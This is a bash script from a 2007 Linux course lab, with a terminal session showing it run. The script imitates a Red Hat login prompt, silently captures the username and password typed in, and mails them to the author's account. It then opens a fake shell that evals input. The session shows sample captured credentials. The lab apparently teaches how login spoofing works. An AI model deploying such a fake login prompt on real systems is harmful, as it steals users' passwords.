#!/bin/bash # # CIS 130 Lab 6 - spoof # # Rich Simms # Spring 2007 # # Pretend to spoof a user during login to capture and email his/her password. # # Usage: spoof # # clear echo "Red Hat Linux release 9 (Shrike)" echo "Kernel 2.4.20-8 on an i686" echo " " echo -n "frodo login: " read user echo -n "Password: " stty -echo read password stty echo echo "user="$user "password="$password | mail -s "Spoofed" simmsric echo " " echo "Last login: Tue Feb 13 15:19:38 2007" cd echo -n "[$user@frodo] $ " read command while [ "$command" != "exit" ] do eval $command echo -n "[$user@frodo] $ " read command done exit 0 /home/cis130/simmsric/lab6 $ /home/cis130/simmsric/lab6 $ ./spoof Red Hat Linux release 9 (Shrike) Kernel 2.4.20-8 on an i686 frodo login: jimg Password: Last login: Tue Feb 13 15:19:38 2007 [jimg@frodo] $ exit /home/cis130/simmsric/lab6 $ maiol -bash: maiol: command not found /home/cis130/simmsric/lab6 $ mail Mail version 8.1 6/6/93. Type ? for help. "/var/spool/mail/simmsric": 11 messages 8 new 11 unread U 1 simmsric@opus.cabril Tue Mar 27 20:08 17/663 "Spoofed" U 2 simmsric@opus.cabril Tue Mar 27 20:11 17/661 "Spoofed" U 3 simmsric@opus.cabril Tue Mar 27 20:13 17/662 "Spoofed" >N 4 simmsric@opus.cabril Tue Mar 27 20:17 16/653 "Spoofed" N 5 simmsric@opus.cabril Tue Mar 27 20:44 16/656 "Spoofed" N 6 simmsric@opus.cabril Tue Mar 27 20:46 16/654 "Spoofed" N 7 simmsric@opus.cabril Tue Mar 27 20:56 16/651 "Spoofed" N 8 simmsric@opus.cabril Tue Mar 27 20:58 16/651 "Spoofed" N 9 simmsric@opus.cabril Tue Mar 27 20:59 16/652 "Spoofed" N 10 simmsric@opus.cabril Tue Mar 27 21:01 16/651 "Spoofed" N 11 simmsric@opus.cabril Tue Mar 27 21:03 16/653 "Spoofed" & 11 Message 11: From simmsric@opus.cabrillo.edu Tue Mar 27 21:03:01 2007 Date: Tue, 27 Mar 2007 21:03:01 -0800 From: Rich Simms To: simmsric@opus.cabrillo.edu Subject: Spoofed user=jimg password=secret & 10 Message 10: From simmsric@opus.cabrillo.edu Tue Mar 27 21:01:27 2007 Date: Tue, 27 Mar 2007 21:01:27 -0800 From: Rich Simms To: simmsric@opus.cabrillo.edu Subject: Spoofed user=john password=pass & q Saved 2 messages in mbox Held 9 messages in /var/spool/mail/simmsric